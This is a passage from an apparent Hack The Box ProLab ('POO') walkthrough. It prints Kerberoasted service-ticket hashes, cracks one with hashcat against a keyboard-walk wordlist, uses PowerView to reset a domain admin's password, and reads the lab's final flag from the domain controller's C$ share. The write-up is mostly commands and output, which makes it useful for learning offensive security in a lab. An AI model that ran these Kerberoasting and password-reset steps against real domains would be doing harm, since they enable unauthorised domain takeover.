[*] Hash : $krb5tgs$23$*p00_hr$intranet.poo$HR_peoplesoft/intranet.poo:1433@intranet.poo*$96F1BACA966D3D62950D216A6C2BEB5B$C527500F4A899B21E24210C836A6A62CAEB21A4514B488DEBD492400EA470195CBE89EB7FF78DC63E4D42FBDB74B9E5A82C0B0CB98C67BCF37CA08BEEE523541436BFF84171A1CC7AA1469944C50A51F3515977391B16A08515FE65B554A4F57E51A195ED870CCB32C8813A23EEF121330156F1BD936D42A032937EC4FA9394E4C8FF938D6B3A42A7BAD33821AC56777E7CA64ECA6CE4D90D51E98239012C606D69E52096206118596FB6C8A18F03EBEC9834B82DFAFA9F28D910AFFB95D4D506AFFF1A75D75F834805727995ED4CB514FC5D506F6571511F71F7735EF14C035EC4FF6E6EC611C8FEB81C2A35750121C345ED7DA5A3D06C9C4601AA01133F281B5345B56FB195C4FF6A5D597FE1606F27390BF9E59D1910EB9CC1FB4B327C3CC03BABDB89F0F4AB9E2E72975C6F89C71A3DFECFBC5A1F17BB5009EA21A5E581EDD86B82B3F1031CF1124426230E86824AFBD116FF5ABDC8CA641E342B2CC3AF7E0049D86D1FAD79C4C66BC56D15BC34A72C89F405F02D302F87AB9966451D02910EC94EEEB7E26EB1C33F0C903FDC630A2A04085B5799FB959C283D64BEF997EE328C68452F4F232ECA61ED64A7C901E7835C96EC9C15327823CE9E0B15C92743BC1FF5A0CCC65BA02972AA044F25B8AD4FE04106C42E315EA35D776E39D454F4FC146BCC1CD9CD82A90DB064B957901EC00121471FDFAF19C0B3BE65076CCF37DE04A7EE4681E8BF069DDD3EA540F96303F322B4C557CB5C3D4015111F64591220EAC6F0F585FE196F2B15B42F0C06DA565821A16EFD10A304D6E0415BEF1D3A9B0CB08968F7A4375FEC80C9B5DCB43A7E7FA87A233760995C6F43499AB59CC4B7F3A881EEB3BA1CEC6D3FD5A13C559BF57A5A0FB74A0D63BF38194E75171356C03CCA450FFF009FB7A42C5E2A485124C64EF8103C5C192885103E772F66545B16F56C1682C2C38F2A3FBF3D839350FE8F240E22D580D0100C6B078C95DBCAC4857D891495DEF08D0553BC404BFA6B104DE63BFA0C525F1B2E9184F5487117C55D803321585DE8EE15860443C3CDBAD2C31CCB83EDE64E0713BF7A230C3395170B6575A1F263864D62416E00A1C365D9EB14011D57C6B702DE66817A21C43B4CA22EB6C3101DD437B38D6DC0F9B5238DC3E483F25CCD5526BF3B501EDF836B18BD4C05788B509F162C7DBC55A1E397A6938BF6F254000F996FB556738DE1868D7E2F175814302520A01B744103CCB2E5C78F36363A3A3C10A97515A929571241C1BE1654DA889AB3FB936E157F934AC462E7B772D2FA94349CE975C0D915982734D031F14B9134B20ECD848FF5C2E13D6B515772A123554F4CD6A18EF83FA1B41B1311DEC29ECC892D4394EA5E95AC425B5499EF4A36F1EC01258C205F9E3BEEE5BAD9F4CE2EE08087F3F5027B763FDC5283EFA52DC18DDD83B2CAB5859F26BD7DB56923273CB591BA9DFC4A760520D6D43CD24F0398060109A5BC5B7F2BBFB3C74BE420345F88C4B4334742257DF0C5BAF324878A83DE29A9B43C8CC8FC9399B8C8583DA80AE0B0558EAE2B7AB963CB600CA8A8D68986D82E02721101CC18930E2E7813570139B9FE559AB0491AE7C9A5519CDFED2B0AB937D939C5F7035A40FA4F5E9FD37516040490D3C62244E291073B5E8320FACADF75F93AC2C16C7713D6CE253632CCEFDFDF45EF6BC
[*] SamAccountName : p00_adm
[*] DistinguishedName : CN=p00_adm,CN=Users,DC=intranet,DC=poo
[*] ServicePrincipalName : cyber_audit/intranet.poo:443
[*] PwdLastSet : 5/11/2018 6:26:14 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*p00_adm$intranet.poo$cyber_audit/intranet.poo:443@intranet.poo*$CFCAF72701BB5A68A3B03F79A2E059CD$E108C2087F108DDE9D66E4302ACACF17B8B01DA7FC63EE9157582CEFEC3D1F2D759DE343223418856886BDA785B46038A1F1AFDEAF4B86105451AE1B91CB9ED25D04841FFF54E00AB388BF7D32A705E0CC9B9E601DF59E70ADC74FABD1E6C9A12AA97BA5F8B2F3A42BE387D8714B1F405A8BE6816A41998F888809D0A44FF9DE4008D5D685961D3C362B3B54747CDFF800C9AD5C28CAC208840A7437A4984C16F99B63A275BE3B8F5C3753C5269EBED9168A7BFD3B86BE67B3354EE992A8DA410EE188D68E8FBB6702D6798E541379D7A8FF4ECD64222975AA95672C2C3C68450B2172ECF9AFEE9C16547355E60A2FF555318A032D8FDBB3A216DA1A9F52798CF0A7EC788375E7EEFF0E302D627DFC994E08F3D991273C6A00CBBE70061455B9DA8E00E4C137D5A19C358E56A898C5478FA0BC76FE85CE32956D84AD4E87983B72754B0CBDE56369492CD267B657A873654BA5184C6C3EA921707A3BC9C9BD302829AC39ED2848F912E0F2634C4933A98F344FC68FEF1A425B77A35967DDBE071D5202A4AC0251E5970253ED787D4FDA7C35D112AC99DB9904BB1C78771339ABBDE187FDCEA3A41F98766D15E5C7180359A98220430FC192371B8582FA226F6517F22CF5D041BB6F1EA3B4B52DE6B232D87EFF7A6678F7F52128EDDB141FAD85AA294CE57DBB0A6BA6089CC1AE8346503486C5E3CE6E6B1609A6EB95778B22FE36F85AA2F641DAF382B3AA24134731881D83F1F7B7BCD45A5A571B251657B6B84AC2EAD6938175B6E711B75ACE101329EB8DDE923FF1B25143F9AF4DCF0F1B31E6D0908FCA6D50DAF4FDC3226A7A864EC95E4EBF98CE113F5376936C0F8F00F97691E02C10C4C44F2A2F33FE168E0A9AFD3B4838625E1DC3C1E43B7E28799A8B074C4E319E58663F8D8698258D313E020D06D3239B48C307262ABED6596D29DF30B48A7E65E9EC6B40B557C0DD56168506F460CA10334E907026806DA7756BD286C6A108C02F314C8DB09720F7496351FA6D2FFB079CD77B2C5D90AB57AE95858F71038550ACCAED59A1F1FE741599840282186AFD86A390F3537A40AA23A4FBAE3A170D9EE02E4C2AD3F8DCF5AAB46B1A142FD35EFD1CA5D0F0BB3DCDE73B540326447AAB8A14BE09228F1920C32DD799573DDFA303B058DFDD471B2767940FEF29B5F11EE65BF772DD5220D24F30EAA6C16F7C032E39F5E8FC25D204F88F6A00CA68082DFB4AFD32F2E5E2B8DC617A717C90B171219F21176A692D40DC66842B85BAD047CB6DBC35545E141F1ED33C14DF6B776D4483A96799696B840A2EDDBF5B3966272D7146C66BD2E5B4F7C7C6BE0060EDFC54F02E60149348F3A5D5C8B7579090622FD9976F9A8A7783DA478C5A8781E059402A45712FFF03E0A3630F45231ACEE74D165BC1887DAD8DF8CF756BD9D03770D62FE2A1FB9745FA6569C0AEEFD10FF249EEA527E3324D4A2213263106F4C89B818A97AF9D8F594E03BDB2CE68FFAE481160CCFEDAE6735B1339F4BC6132D295F6D76B5078D98A7D2534136C90AD37F57EA377D4D503BA1F35B466C5BEA45D87B1E935971E08908A372FC16DD46A26874ACDE7B264E6B1C41CB87DD167928D7D5A6BFF71D4FDBC7C4E2D0E5E3E19939E774B08CC31F228B8E69A391436FF4CEDF3889CBB90DF17B0ABEB258CA3914728F11D23846CFB19D3
evil-winrm-py PS C:\Users\Administrator\Documents>
Cracking with rockyou.txt failed, so I iterated through all the wordlists in the SecLists password collection, and p00_adm cracked against the keyboard-walk list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ hashcat -m 13100 hashes.txt /usr/share/Seclists/Passwords/Keyboard-Walks/Keyboard-Combinations.txt -O
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz, 6781/13626 MB (2048 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache built:
* Filename..: /usr/share/Seclists/Passwords/Keyboard-Walks/Keyboard-Combinations.txt
* Passwords.: 9608
* Bytes.....: 84528
* Keyspace..: 9608
* Runtime...: 0 secs
$krb5tgs$23$*p00_adm$intranet.poo$cyber_audit/intranet.poo:443@intranet.poo*$cfcaf72701bb5a68a3b03f79a2e059cd$e108c2087f108dde9d66e4302acacf17b8b01da7fc63ee9157582cefec3d1f2d759de343223418856886bda785b46038a1f1afdeaf4b86105451ae1b91cb9ed25d04841fff54e00ab388bf7d32a705e0cc9b9e601df59e70adc74fabd1e6c9a12aa97ba5f8b2f3a42be387d8714b1f405a8be6816a41998f888809d0a44ff9de4008d5d685961d3c362b3b54747cdff800c9ad5c28cac208840a7437a4984c16f99b63a275be3b8f5c3753c5269ebed9168a7bfd3b86be67b3354ee992a8da410ee188d68e8fbb6702d6798e541379d7a8ff4ecd64222975aa95672c2c3c68450b2172ecf9afee9c16547355e60a2ff555318a032d8fdbb3a216da1a9f52798cf0a7ec788375e7eeff0e302d627dfc994e08f3d991273c6a00cbbe70061455b9da8e00e4c137d5a19c358e56a898c5478fa0bc76fe85ce32956d84ad4e87983b72754b0cbde56369492cd267b657a873654ba5184c6c3ea921707a3bc9c9bd302829ac39ed2848f912e0f2634c4933a98f344fc68fef1a425b77a35967ddbe071d5202a4ac0251e5970253ed787d4fda7c35d112ac99db9904bb1c78771339abbde187fdcea3a41f98766d15e5c7180359a98220430fc192371b8582fa226f6517f22cf5d041bb6f1ea3b4b52de6b232d87eff7a6678f7f52128eddb141fad85aa294ce57dbb0a6ba6089cc1ae8346503486c5e3ce6e6b1609a6eb95778b22fe36f85aa2f641daf382b3aa24134731881d83f1f7b7bcd45a5a571b251657b6b84ac2ead6938175b6e711b75ace101329eb8dde923ff1b25143f9af4dcf0f1b31e6d0908fca6d50daf4fdc3226a7a864ec95e4ebf98ce113f5376936c0f8f00f97691e02c10c4c44f2a2f33fe168e0a9afd3b4838625e1dc3c1e43b7e28799a8b074c4e319e58663f8d8698258d313e020d06d3239b48c307262abed6596d29df30b48a7e65e9ec6b40b557c0dd56168506f460ca10334e907026806da7756bd286c6a108c02f314c8db09720f7496351fa6d2ffb079cd77b2c5d90ab57ae95858f71038550accaed59a1f1fe741599840282186afd86a390f3537a40aa23a4fbae3a170d9ee02e4c2ad3f8dcf5aab46b1a142fd35efd1ca5d0f0bb3dcde73b540326447aab8a14be09228f1920c32dd799573ddfa303b058dfdd471b2767940fef29b5f11ee65bf772dd5220d24f30eaa6c16f7c032e39f5e8fc25d204f88f6a00ca68082dfb4afd32f2e5e2b8dc617a717c90b171219f21176a692d40dc66842b85bad047cb6dbc35545e141f1ed33c14df6b776d4483a96799696b840a2eddbf5b3966272d7146c66bd2e5b4f7c7c6be0060edfc54f02e60149348f3a5d5c8b7579090622fd9976f9a8a7783da478c5a8781e059402a45712fff03e0a3630f45231acee74d165bc1887dad8df8cf756bd9d03770d62fe2a1fb9745fa6569c0aeefd10ff249eea527e3324d4a2213263106f4c89b818a97af9d8f594e03bdb2ce68ffae481160ccfedae6735b1339f4bc6132d295f6d76b5078d98a7d2534136c90ad37f57ea377d4d503ba1f35b466c5bea45d87b1e935971e08908a372fc16dd46a26874acde7b264e6b1c41cb87dd167928d7d5a6bff71d4fdbc7c4e2d0e5e3e19939e774b08cc31f228b8e69a391436ff4cedf3889cbb90df17b0abeb258ca3914728f11d23846cfb19d3:ZQ!5t4r
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: hashes.txt
Time.Started.....: Mon Nov 2 13:18:14 2026 (0 secs)
Time.Estimated...: Mon Nov 2 13:18:14 2026 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/Seclists/Passwords/Keyboard-Walks/Keyboard-Combinations.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 120.4 kH/s (13.19ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 19216/19216 (100.00%)
Rejected.........: 0/19216 (0.00%)
Restore.Point....: 9608/9608 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: )P(Oxcvb -> asdfjkl;12345
Hardware.Mon.#1..: Temp: 63c Util: 99%
Started: Mon Nov 2 13:18:11 2026
Stopped: Mon Nov 2 13:18:16 2026
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$
Which gives us the credential:
1
intranet.poo/p00_adm:ZQ!5t4r
We can reset the MR3KS password using PowerView:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
evil-winrm-py PS C:\Users\Administrator\Documents> upload /home/mark/Desktop/Tools/Windows/PowerSploit/Recon/PowerView.ps1
Uploading /home/mark/Desktop/Tools/Windows/PowerSploit/Recon/PowerView.ps1: 768kB [00:05, 133kB/s]
[+] File uploaded successfully as: C:\Users\Administrator\Documents\PowerView.ps1
evil-winrm-py PS C:\Users\Administrator\Documents> ls
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2026 1:40 PM 32620 20261102134012_intranet.zip
-a---- 11/2/2026 1:41 PM 1553 OTM1MzQ0ZGMtYjQyMS00OTQyLWEzMDYtZDVlNzVmNzkwNWVm.bin
-a---- 11/2/2026 2:22 PM 770279 PowerView.ps1
-a---- 11/2/2026 1:46 PM 446976 Rubeus.exe
-a---- 11/2/2026 1:37 PM 1351680 SharpHound.exe
-a---- 11/2/2026 1:56 PM 3124224 SigmaPotato.exe
evil-winrm-py PS C:\Users\Administrator\Documents> . .\PowerView.ps1
evil-winrm-py PS C:\Users\Administrator\Documents> $SecPassword = ConvertTo-SecureString 'ZQ!5t4r' -AsPlainText -Force
evil-winrm-py PS C:\Users\Administrator\Documents> $Cred = New-Object System.Management.Automation.PSCredential('POO\p00_adm', $SecPassword)
evil-winrm-py PS C:\Users\Administrator\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
evil-winrm-py PS C:\Users\Administrator\Documents> Set-DomainUserPassword -Identity MR3KS -AccountPassword $UserPassword -Credential $Cred
evil-winrm-py PS C:\Users\Administrator\Documents>
Because that user is a domain admin, we can access the C$ share on the DC and read the final flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
evil-winrm-py PS C:\Users\Administrator\Documents> net use \\dc\c$ /user:MR3KS 'Password123!'
The command completed successfully.
evil-winrm-py PS C:\Users\Administrator\Documents> dir \\dc\c$\users\
Directory: \\dc\c$\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/15/2018 1:20 AM Administrator
d----- 3/15/2018 12:38 AM mr3ks
d-r--- 11/21/2016 3:24 AM Public
evil-winrm-py PS C:\Users\Administrator\Documents> dir \\dc\c$\users\mr3ks\desktop
Directory: \\dc\c$\users\mr3ks\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/26/2018 5:47 PM 37 flag.txt
evil-winrm-py PS C:\Users\Administrator\Documents> more \\dc\c$\users\mr3ks\desktop\flag.txt
POO{1196ef8bc523f084ad1732a38a0851d6}
